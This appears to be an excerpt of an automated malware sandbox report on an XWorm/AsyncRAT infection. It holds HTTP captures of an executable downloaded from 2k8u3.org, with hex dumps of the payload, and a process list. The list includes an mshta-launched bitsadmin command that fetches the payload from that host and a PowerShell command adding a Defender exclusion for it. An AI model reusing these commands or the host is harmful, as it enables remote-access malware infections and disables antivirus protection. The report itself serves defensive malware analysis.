03 00 00 01 13 0f 11 0f 16 11 0c a2 11 0f Data Ascii: rjprzp(@oA+D2r~p~(?rjprzp(@oA(BoC%(/(1(oDoErpoF~(?oG%(/(1(Hrp~(?rp(Ir(prDp(JrFp
Dec 4, 2024 16:26:16.488030910 CET	897	IN	Data Raw: 13 10 11 10 14 14 17 8d 43 00 00 01 13 11 11 11 16 17 9c 11 11 28 4b 00 00 0a 11 11 16 90 2c 1f 11 10 16 9a 28 22 00 00 0a d0 32 00 00 01 28 25 00 00 0a 28 4c 00 00 0a 74 32 00 00 01 13 0c 13 12 11 12 14 72 64 06 00 70 17 8d 03 00 00 01 13 13 11 Data Ascii: C(K,("2(%(Lt2rdp(MrzprDp(Mrp(N&sO+%(/(1(((0sPsQoR(V(>,(1
Dec 4, 2024 16:26:17.504229069 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=4392-5869 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:17.830887079 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:17 GMT Content-Type: application/x-msdownload Content-Length: 1478 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 21 Content-Range: bytes 4392-5869/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I2WhLojyFA1w%2FyW1qOrmA%2BecaUWbsdRVLgCYZkk4o5DimqdN%2Bmr2jbSxYZUIobggnMMd9JfJp7P6Rum7KfbLWSGk5sWrpnEi2bBTRDyLXCIgwlCZftyVA7tXR4M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd0606ef88c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5830&min_rtt=2030&rtt_var=5760&sent=14&recv=19&lost=0&retrans=0&sent_bytes=12046&recv_bytes=1884&delivery_rate=1438423&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 03 00 00 01 13 06 11 06 16 72 62 08 00 70 a2 11 06 14 28 64 00 00 0a 6f 26 00 00 0a 6f 60 00 00 0a 13 04 11 04 72 7c 08 00 70 16 28 65 00 00 0a 16 33 32 08 17 8d 03 00 00 01 13 06 11 06 16 72 a8 08 00 70 a2 11 06 14 28 64 00 00 0a 6f 26 00 00 0a 6f 66 00 00 0a 72 b4 08 00 70 6f 5d 00 00 0a 2c 02 2b 0e 11 04 72 c4 08 00 70 6f 5d 00 00 0a 2c 02 2b 2d 08 17 8d 03 00 00 01 13 07 11 07 16 72 a8 08 00 70 a2 11 07 14 28 64 00 00 0a 6f 26 00 00 0a 72 d2 08 00 70 16 28 65 00 00 0a 16 33 04 17 0a de 58 11 05 6f 67 00 00 0a 3a 3e ff ff ff de 16 11 05 75 4e 00 00 01 2c 0c 11 05 75 4e 00 00 01 6f 68 00 00 0a dc de 0f 09 2c 0b 09 74 4e 00 00 01 6f 68 00 00 0a dc de 0f 07 2c 0b 07 74 4e 00 00 01 6f 68 00 00 0a dc de 0c 28 2f 00 00 0a 28 31 00 00 0a de 00 16 0a 2b 00 06 2a 41 64 00 00 02 00 00 00 26 00 00 00 d6 00 00 00 fc Data Ascii: rbp(do&o`r\|p(e32rp(do&ofrpo],+rpo],+-rp(do&rp(e3Xog:>uN,uNoh,tNoh,tNoh(/(1+*Ad&
Dec 4, 2024 16:26:17.830923080 CET	1205	IN	Data Raw: 00 00 00 16 00 00 00 00 00 00 00 02 00 00 00 26 00 00 00 ee 00 00 00 14 01 00 00 0f 00 00 00 00 00 00 00 02 00 00 00 0b 00 00 00 1a 01 00 00 25 01 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 01 00 00 36 01 00 00 0c 00 00 00 33 00 00 Data Ascii: &%66301(Voi(/&(/(1(1308rp(.(j.+(/(1(1!!
Dec 4, 2024 16:26:18.847929001 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=5870-7427 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:19.174348116 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:19 GMT Content-Type: application/x-msdownload Content-Length: 1558 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 23 Content-Range: bytes 5870-7427/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WTz0Xr8IEzqkP0mxAh6Ry%2FLuUJ9cuTMAOIZai1DdNbmP6WUd8%2BJ%2F2ubMFMOvcwfXHVGuKHhDRs%2BISdelXxxW7jVCpg4XtmGNZx35RSMSgYOgQxJCpFeObE%2FbYBQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd068c8a08c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5546&min_rtt=2030&rtt_var=4888&sent=16&recv=21&lost=0&retrans=0&sent_bytes=14487&recv_bytes=2102&delivery_rate=1438423&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 0b 07 6f 85 00 00 0a 0d 12 03 72 2c 0c 00 70 28 86 00 00 0a 0a de 1d de 1b 25 28 2f 00 00 0a 0c 72 40 0c 00 70 0a 28 31 00 00 0a de 07 28 31 00 00 0a de 00 06 2a 01 10 00 00 00 00 00 00 23 23 00 1b 33 00 00 01 1b 30 03 00 49 00 00 00 15 00 00 11 7e 2f 00 00 04 28 59 00 00 0a 7e 0d 00 00 04 16 28 65 00 00 0a 16 33 0a 72 16 0c 00 70 0a de 27 2b 08 72 fe 0b 00 70 0a de 1d de 1b 25 28 2f 00 00 0a 0b 72 40 0c 00 70 0a 28 31 00 00 0a de 07 28 31 00 00 0a de 00 06 2a 00 00 00 01 10 00 00 00 00 00 00 2c 2c 00 1b 33 00 00 01 1b 30 02 00 3e 00 00 00 16 00 00 11 28 87 00 00 0a 73 88 00 00 0a 20 20 02 00 00 6f 89 00 00 0a 0c 12 02 28 83 00 00 0a 0a de 1d de 1b 25 28 2f 00 00 0a 0b 72 40 0c 00 70 0a 28 31 00 00 0a de 07 28 31 00 00 0a de 00 06 2a 00 00 01 10 00 00 00 00 00 00 21 21 00 1b 33 00 00 01 1b 30 04 Data Ascii: or,p(%(/r@p(1(1##30I~/(Y~(e3rp'+rp%(/r@p(1(1,,30>(s o(%(/r@p(1(1*!!30
Dec 4, 2024 16:26:19.174371958 CET	1236	IN	Data Raw: 00 cf 00 00 00 17 00 00 11 72 4c 0c 00 70 28 8a 00 00 0a 72 52 0c 00 70 28 32 00 00 0a 72 7e 0c 00 70 73 8b 00 00 0a 0b 73 8c 00 00 0a 0c 07 6f 8d 00 00 0a 6f 8e 00 00 0a 13 05 2b 2b 11 05 6f 8f 00 00 0a 0d 08 09 72 bc 0c 00 70 6f 90 00 00 0a 6f Data Ascii: rLp(rRp(2r~pssoo++orpoo&o&rpo&o-,ohoo3rpAooo,oh%(/rp(1(1(%Ej
Dec 4, 2024 16:26:19.178293943 CET	53	IN	Data Raw: 73 79 00 00 0a 7e 13 00 00 04 6f 7a 00 00 0a 26 de 1b 25 28 2f 00 00 0a 0c 16 80 12 00 00 04 28 31 00 00 0a de 07 28 31 00 00 0a de 00 2a 00 00 00 41 1c 00 00 Data Ascii: sy~oz&%(/(1(1*A
Dec 4, 2024 16:26:20.175906897 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=7428-9501 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:20.500931025 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:20 GMT Content-Type: application/x-msdownload Content-Length: 2074 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 24 Content-Range: bytes 7428-9501/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b%2Frs5WVvj9HgIcFmm8O7rYWtVI3Ejtazd%2BY5c2537NPBLLTFDBghLupR6p%2FYzVofOiUsrFzqDkIN1g7G%2BUOF1HSmJY9lXpPA0cS%2FSxAzsmaiDeX8oIWGcupGT94%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd0711b9b8c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5108&min_rtt=2030&rtt_var=4541&sent=18&recv=23&lost=0&retrans=0&sent_bytes=17012&recv_bytes=2320&delivery_rate=1438423&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 00 00 00 00 0c 00 00 00 9d 01 00 00 a9 01 00 00 1b 00 00 00 33 00 00 01 1b 30 02 00 17 00 00 00 1c 00 00 11 02 28 8f 00 00 06 de 0e 25 28 2f 00 00 0a 0a 28 31 00 00 0a de 00 2a 00 01 10 00 00 00 00 00 00 08 08 00 0e 33 00 00 01 1b 30 07 00 c9 00 00 00 1d 00 00 11 7e 19 00 00 04 13 04 11 04 28 ac 00 00 0a 16 13 05 11 04 12 05 28 ad 00 00 0a 7e 12 00 00 04 39 96 00 00 00 73 74 00 00 0a 0a 02 28 2a 01 00 06 28 32 01 00 06 0b 07 8e b7 28 ae 00 00 0a 72 b2 0d 00 70 28 2b 00 00 0a 28 2a 01 00 06 0c 06 08 16 08 8e b7 6f a8 00 00 0a 06 07 16 07 8e b7 6f a8 00 00 0a 7e 13 00 00 04 15 17 6f af 00 00 0a 26 7e 13 00 00 04 06 6f a4 00 00 0a 16 06 6f a9 00 00 0a b7 16 14 fe 06 5e 00 00 06 73 79 00 00 0a 14 6f b0 00 00 0a 26 de 0a 06 2c 06 06 6f 68 00 00 0a dc de 14 25 28 2f 00 00 0a 0d 16 80 12 00 00 04 28 31 Data Ascii: 30(%(/(130~((~9st((2(rp(+(*oo~o&~oo^syo&,oh%(/(1
Dec 4, 2024 16:26:20.501203060 CET	1236	IN	Data Raw: 00 00 0a de 00 de 0c 11 05 2c 07 11 04 28 b1 00 00 0a dc 2a 00 00 00 01 28 00 00 02 00 2a 00 70 9a 00 0a 00 00 00 00 00 00 24 00 82 a6 00 14 33 00 00 01 02 00 11 00 ab bc 00 0c 00 00 00 00 1b 30 02 00 23 00 00 00 1c 00 00 11 7e 13 00 00 04 02 6f Data Ascii: ,((p$30#~o&%(/(130~, ~o%(/(1~, ~o%(/(1~,~o~o
Dec 4, 2024 16:26:20.505012989 CET	569	IN	Data Raw: 00 70 16 28 65 00 00 0a 16 33 42 7e 1f 00 00 04 6f c4 00 00 0a de 0e 25 28 2f 00 00 0a 0d 28 31 00 00 0a de 00 14 fe 06 9b 00 00 06 73 aa 00 00 0a 73 ab 00 00 0a 80 1f 00 00 04 7e 1f 00 00 04 06 17 9a 6f c5 00 00 0a 38 d8 04 00 00 11 13 72 30 13 Data Ascii: p(e3B~o%(/(1ss~o8r0p(e3 ~o%(/(18rBp(e3C~ o%(/(1ss ~ o8UrZp(e3 ~ o%(/
Dec 4, 2024 16:26:21.394757032 CET	219	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=9502-14292 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:21.733676910 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:21 GMT Content-Type: application/x-msdownload Content-Length: 4791 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 25 Content-Range: bytes 9502-14292/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z2l8Ak3CRMwC3JBhbMwFj9fkvmwLbTUJm9m0zBS%2BiLHiFEl2j%2F1kQ%2Bn5WNDtf6MtsTIyiT0b%2BK4IpY9CVJL6XUxi1%2Blct0KWDEVEjHcx8Nmyr82mT1LXzu2ImY8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd078bcc48c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4730&min_rtt=2030&rtt_var=4163&sent=21&recv=25&lost=0&retrans=0&sent_bytes=20053&recv_bytes=2539&delivery_rate=2105769&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 00 00 04 a2 11 14 1a 11 08 6f c8 00 00 0a a2 11 14 28 40 00 00 0a 28 5d 00 00 06 28 31 00 00 0a de 00 38 c5 02 00 00 11 13 72 0e 14 00 70 16 28 65 00 00 0a 16 33 0f 72 0e 14 00 70 28 5d 00 00 06 38 a6 02 00 00 11 13 72 18 14 00 70 16 28 65 00 00 0a 16 33 40 06 80 1d 00 00 04 06 17 9a 28 2f 01 00 06 2d 19 72 26 14 00 70 7e 0a 00 00 04 06 17 9a 28 32 00 00 0a 28 5d 00 00 06 2b 12 06 17 9a 28 2f 01 00 06 28 30 01 00 06 28 90 00 00 06 38 56 02 00 00 11 13 72 3c 14 00 70 16 28 65 00 00 0a 16 33 26 06 18 9a 28 bb 00 00 0a 13 09 06 17 9a 11 09 28 2e 01 00 06 26 11 09 28 30 01 00 06 28 90 00 00 06 38 20 02 00 00 11 13 72 52 14 00 70 16 28 65 00 00 0a 16 33 28 28 08 00 00 06 6f 44 00 00 0a 6f 45 00 00 0a 7e 2e 00 00 04 6f c9 00 00 0a 72 6e 14 00 70 28 91 00 00 06 38 e8 01 00 00 11 13 72 90 14 00 70 16 Data Ascii: o(@(](18rp(e3rp(]8rp(e3@(/-r&p~(2(]+(/(0(8Vr<p(e3&((.&(0(8 rRp(e3((oDoE~.ornp(8rp
Dec 4, 2024 16:26:21.733843088 CET	224	IN	Data Raw: 28 65 00 00 0a 16 33 4b 1b 8d 32 00 00 01 13 14 11 14 16 72 90 14 00 70 a2 11 14 17 7e 0a 00 00 04 a2 11 14 18 28 2c 01 00 06 a2 11 14 19 7e 0a 00 00 04 a2 11 14 1a 7e 11 00 00 04 28 c6 00 00 0a a2 11 14 28 40 00 00 0a 28 5d 00 00 06 38 8d 01 00 Data Ascii: (e3K2rp~(,~~((@(]8rp(e@z~-(&(/(1(o(o(( s(oo(
Dec 4, 2024 16:26:23.910060883 CET	220	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=14293-26900 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:24.238820076 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:24 GMT Content-Type: application/x-msdownload Content-Length: 12608 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 28 Content-Range: bytes 14293-26900/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NrixOJ4WINLlyO0rMTRjpbzOu2B5fAq69H7w0mKpczZXwGwk5CFZVoKv%2BLLhzvMIU2jIhjj6cRzuW762FltcrapM11ChS5sCn54YQQMAY40C%2FurzpAMnbBd7YgQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd0887e258c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4730&min_rtt=2030&rtt_var=4163&sent=26&recv=28&lost=0&retrans=1&sent_bytes=27191&recv_bytes=2759&delivery_rate=2105769&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 03 00 00 0f 00 00 00 33 00 00 01 1b 30 02 00 32 00 00 00 1c 00 00 11 14 fe 06 c6 00 00 06 73 50 00 00 0a 17 73 10 01 00 0a 80 24 00 00 04 7e 24 00 00 04 6f 52 00 00 0a de 0e 25 28 2f 00 00 0a 0a 28 31 00 00 0a de 00 2a 00 00 01 10 00 00 00 00 00 00 23 23 00 0e 33 00 00 01 1b 30 02 00 1b 00 00 00 1c 00 00 11 7e 24 00 00 04 6f c4 00 00 0a de 0e 25 28 2f 00 00 0a 0a 28 31 00 00 0a de 00 2a 00 01 10 00 00 00 00 00 00 0c 0c 00 0e 33 00 00 01 1b 30 11 00 cd 08 00 00 2a 00 00 11 17 13 17 72 23 1b 00 70 72 44 06 00 70 28 4a 00 00 0a 28 22 00 00 0a 0b 38 30 07 00 00 28 31 00 00 0a 17 13 15 1b 13 17 28 08 00 00 06 6f 44 00 00 0a 6f 45 00 00 0a 72 3f 1b 00 70 17 6f 46 00 00 0a 0c 1c 13 17 08 72 b7 1b 00 70 6f 11 01 00 0a 17 8c 86 00 00 01 16 28 e1 00 00 0a 2c 14 1d 13 17 08 72 b7 1b 00 70 16 8c 86 00 00 01 6f 47 00 Data Ascii: 302sPs$~$oR%(/(1##30~$o%(/(130*r#prDp(J("80(1(oDoEr?poFrpo(,rpoG
Dec 4, 2024 16:26:26.457900047 CET	220	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=26901-53755 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:26.792186975 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:26 GMT Content-Type: application/x-msdownload Content-Length: 26855 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 30 Content-Range: bytes 26901-53755/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFjaTeCrgtBd%2FQBfEK8lGRi5PgZSSAF3A0%2FysZSdFDC7K0hK2agVvAFpCusF68JdnpqK71yKTyLx8er3tY9EqST3PG%2BUsoerkF6x8UPSOJ6zO1EBeYhH36%2FuYvk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd098597e8c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4411&min_rtt=2030&rtt_var=3760&sent=36&recv=30&lost=0&retrans=1&sent_bytes=40763&recv_bytes=2979&delivery_rate=6703397&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 00 96 00 98 19 0e 00 6c 00 69 23 00 00 00 00 96 00 7f 26 12 00 6c 00 42 26 00 00 00 00 96 00 16 32 0e 00 6c 00 49 26 00 00 00 00 96 00 c4 6a 12 00 6c 00 50 26 00 00 00 00 96 00 27 02 0e 00 6c 00 75 20 00 00 00 00 96 00 89 2c 12 00 6c 00 57 26 00 00 00 00 96 00 66 47 0e 00 6c 00 ad 20 00 00 00 00 96 00 fb 44 12 00 6c 00 5e 26 00 00 00 00 96 00 f2 47 0e 00 6c 00 65 26 00 00 00 00 96 00 48 4b 12 00 6c 00 6c 26 00 00 00 00 96 00 86 07 0e 00 6c 00 31 22 00 00 00 00 96 00 63 12 12 00 6c 00 73 26 00 00 00 00 96 00 09 4a 0e 00 6c 00 dd 21 00 00 00 00 96 00 e3 14 12 00 6c 00 7a 26 00 00 00 00 96 00 9c 2d 0e 00 6c 00 3f 22 00 00 00 00 96 00 7e 01 12 00 6c 00 81 26 00 00 00 00 96 00 0e 33 0e 00 6c 00 88 26 00 00 00 00 96 00 b5 2d 12 00 6c 00 8f 26 00 00 00 00 96 00 4e 10 0e 00 6c 00 96 26 00 00 00 00 96 Data Ascii: li#&lB&2lI&jlP&'lu ,lW&fGl Dl^&Gle&HKll&l1"cls&Jl!lz&-l?"~l&3l&-l&Nl&
Dec 4, 2024 16:26:27.738203049 CET	220	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=53756-77823 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:28.066473961 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:27 GMT Content-Type: application/x-msdownload Content-Length: 24068 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 31 Content-Range: bytes 53756-77823/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ajq9GQjN%2BwuEziI1tuWGN7sHIGEhZQbu6sB7V5k9cqMZTbvFrk1nH%2F9wf1HT70xMebwH%2FGN0MG%2FK83mHketA2zpDodMuqBo1rgImzgv5q3pItRummb3Mq1A%2Fq2w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd0a05ba38c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3890&min_rtt=2030&rtt_var=3012&sent=56&recv=33&lost=0&retrans=1&sent_bytes=68586&recv_bytes=3199&delivery_rate=12835164&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 51 4b 61 64 6b 46 6b 35 4d 74 43 57 35 39 4d 39 75 70 42 37 65 7a 65 71 00 79 64 38 79 63 78 66 74 77 4f 6e 6a 64 54 6b 75 58 46 6d 63 4a 42 57 5a 38 69 78 56 59 38 44 67 69 48 63 4b 66 69 62 74 78 66 49 42 76 45 45 69 71 00 37 38 62 74 53 48 4b 68 41 72 39 75 64 72 68 4a 30 4e 67 78 75 51 70 36 64 31 37 49 64 4f 68 63 4c 48 61 73 52 37 65 6e 55 67 53 44 44 54 5a 69 47 76 6c 39 6f 4c 4b 69 43 63 69 61 39 63 66 68 42 39 5a 6e 4c 34 72 44 69 73 6f 72 41 4b 6f 6d 69 71 00 6f 43 31 4c 4a 6a 6d 69 6c 65 6f 6e 56 7a 5a 59 62 63 41 59 63 68 6a 71 00 4e 41 6c 66 41 6c 7a 45 72 67 4b 49 49 78 37 70 72 35 4a 68 4a 33 42 4a 6f 42 42 73 74 74 5a 77 34 6a 6a 7a 55 68 33 51 46 4c 74 72 6f 52 65 6d 71 00 53 79 73 74 65 6d 2e 4c 69 6e 71 00 39 31 6b 4b 54 61 61 6e 6d 74 70 34 36 6e 72 4d 36 33 59 76 Data Ascii: QKadkFk5MtCW59M9upB7ezeqyd8ycxftwOnjdTkuXFmcJBWZ8ixVY8DgiHcKfibtxfIBvEEiq78btSHKhAr9udrhJ0NgxuQp6d17IdOhcLHasR7enUgSDDTZiGvl9oLKiCcia9cfhB9ZnL4rDisorAKomiqoC1LJjmileonVzZYbcAYchjqNAlfAlzErgKIIx7pr5JhJ3BJoBBsttZw4jjzUh3QFLtroRemqSystem.Linq91kKTaanmtp46nrM63Yv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49765	208.95.112.1	80	1292	C:\Users\user\AppData\Local\Temp\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 16:26:33.061484098 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Dec 4, 2024 16:26:34.135049105 CET	175	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:26:33 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Target ID:	0
Start time:	10:25:48
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\downloader2.hta"
Imagebase:	0xd60000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	1
Start time:	10:25:49
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\bitsadmin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://2k8u3.org/wininit.exe C:\Users\user\AppData\Local\Temp\wininit.exe
Imagebase:	0x9c0000
File size:	186'880 bytes
MD5 hash:	F57A03FA0E654B393BB078D1C60695F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	2
Start time:	10:25:49
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	10:25:49
Start date:	04/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000003.2432558607.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000003.2432558607.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000003.2432595859.000001BA6955C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000003.2432595859.000001BA6955C000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000003.2432558607.000001BA6951A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000003.2432558607.000001BA6951A000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	10:26:28
Start date:	04/12/2024
Path:	C:\Users\user\AppData\Local\Temp\wininit.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\wininit.exe"
Imagebase:	0x3e0000
File size:	77'824 bytes
MD5 hash:	DC8534F103A3167CEC27B4B01FEA89A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000005.00000002.3282808526.0000000002711000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000005.00000000.2434580556.00000000003E2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000000.2434580556.00000000003E2000.00000002.00000001.01000000.00000009.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000005.00000002.3282808526.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000002.3282808526.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Target ID:	7
Start time:	10:26:33
Start date:	04/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\wininit.exe'
Imagebase:	0x7ff632ac0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
